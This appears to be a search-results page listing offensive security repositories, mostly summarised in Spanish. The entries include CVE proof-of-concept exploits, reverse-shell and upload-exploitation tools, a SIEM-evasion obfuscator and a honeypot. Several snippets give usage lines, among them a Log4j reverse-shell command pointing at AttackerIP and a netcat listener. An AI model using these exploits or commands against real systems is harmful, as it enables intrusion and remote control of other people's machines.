38001 matches found
through_the_wire
Through the Wire Through the Wire es un exploit de prueba de concepto para CVE-2022-26134, una vulnerabilidad de inyección OGNL que afecta a Atlassian Confluence Server y Data Center versiones = 7.13.6 LTS y = 7.18.0 "Latest". Originalmente fue un zero-day explotado en la naturaleza. Aviso del...
CVE-2023-50564_Pluck-v4.7.18_PoC
CVE-2023-50564 PoC Este repositorio contiene una Prueba de Concepto para la vulnerabilidad CVE-2023-50564 en Pluck CMS versión 4.7.18 Descripción CVE-2023-50564 es una vulnerabilidad que permite la subida no autorizada de archivos en Pluck CMS versión 4.7.18. Este exploit aprovecha una falla en l...
fuxploider
fuxploider Fuxploider es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de vulnerabilidades en formularios de carga de archivos. Esta herramienta es capaz de detectar los tipos de archivo permitidos para subir y es capaz de detecta...
CVE-2025-27590
CVE-2025-27590 - Exploit PoC Inyección de Comandos a través de Carga de Formulario Multiparte 📌 Descripción Esta es una prueba de concepto PoC para el CVE-2025-27590 , una vulnerabilidad de inyección de comandos que afecta a aplicaciones web que procesan cargas de archivos multiparte sin la debid...
CVE-2025-52970
CVE-2025-52970 Exploit de omisión de autenticación de FortiWeb a ejecución remota de código Características Armado añadiendo un shell interactivo para permitir la ejecución remota de código Uso python CVE-2025-52970.py -t target.com Demostración Referencias...
Port-enumeration
Enumeración de puertos ¿Alguna vez te has enfrentado a la imposibilidad de usar NMap? Por ejemplo, si tienes una reverse shell como usuario no privilegiado y no hay herramientas útiles preinstaladas? Este es un pequeño script que te ayudará a escanear una red si no tienes nada. Ejemplo de uso:...
SSCMS-PluginShell
Instalar VisualStudio 2. Importar el proyecto 3. Modificar el valor de IPAddress.Parse en el archivo Startup.cs using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System;...
kippo
NOTA: Para desarrollos más recientes, consulte el fork de Michel Oosterhof Kippo Kippo es un honeypot SSH de interacción media diseñado para registrar ataques de fuerza bruta y, lo más importante, toda la interacción de shell realizada por el atacante. Kippo está inspirado, pero no basado, en...
staystaystay
staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...
magicRecon
MagicRecon: Rápido, simple y efectivo MagicRecon es un potente script de shell para maximizar el proceso de reconocimiento y recopilación de datos de un objetivo y encontrar vulnerabilidades comunes, todo ello guardando los resultados obtenidos de manera organizada en directorios y con varios...
JSshell
JSshell - versión 3.1 JSshell - un reverse shell de JavaScript. Se utiliza para ejecutar código JS de forma remota, explotar XSS ciego, ... Requisitos: Cualquier sistema operativo + Python 2 o Python 3 Novedades en JSshell versión 3.1 Actualizado en la nueva versión de JSshell 3.1: Nuevo comando...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Uso Para reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort Para comprobar si es explotable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...
WebLogic-Shiro-shell
Java Deserialization Technology Sharing This sharing covers the following points: 1. Java Serialization and Deserialization Basics 2. Why do vulnerabilities occur during deserialization? 3. Java Reflection 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader: Several methods...
CVE-2020-7247-exploit
CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 Exploit PoC de ejecución remota de código Referencia: https://www.openwall.com/lists/oss-security/2020/01/28/3 Uso python3 exploit.py Dependencias pip3 install --user pwntools...
volana
volana luna en malgache Úsalo ; 🌚ocultar de; 🌞detectado por Ofuscación de comandos de shell para evitar SIEM/sistema de detección Durante un pentest, un aspecto importante es ser sigiloso. Por esta razón debes borrar tus huellas después de tu paso. Sin embargo, muchas infraestructuras registran...
ShellEvil
ShellEvil Jonatas Fil Dkr Julio Della Flora Thiago Sena THX Struts 2 DefaultActionMapper Interactive Shell Exploit for CVE-2013-225 S2-016 The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed ...
CVE-2024-54887-PoC
CVE-2024-54887 TypeScript PoC This repository contains a TypeScript ts-node rewrite of the public Python PoC for CVE-2024-54887 TP-Link TL-WR940N v3/v4 authenticated RCE. Prerequisites Node.js 20+ Install npm install Usage npx ts-node .\cve-2024-54887.ts --ip Optional credentials: npx ts-node...
CVE-2007-2447
CVE-2007-2447 Exploit de Samba 3.0.20 CVE-2007-2447 python3 smb3.0.20exp.py -lh localhost -lp local port -t target Crea un listener de Netcat nc -nlvp 4444 Ejecuta el script python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...
nginxhack
Esta es una herramienta que utiliza un exploit llamado CVE-2013-2028 para ejecutar un bind shell en el servidor objetivo que ejecuta Nginx 1.3.9 o 1.4.0. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso: nginxhack target target port target bind port...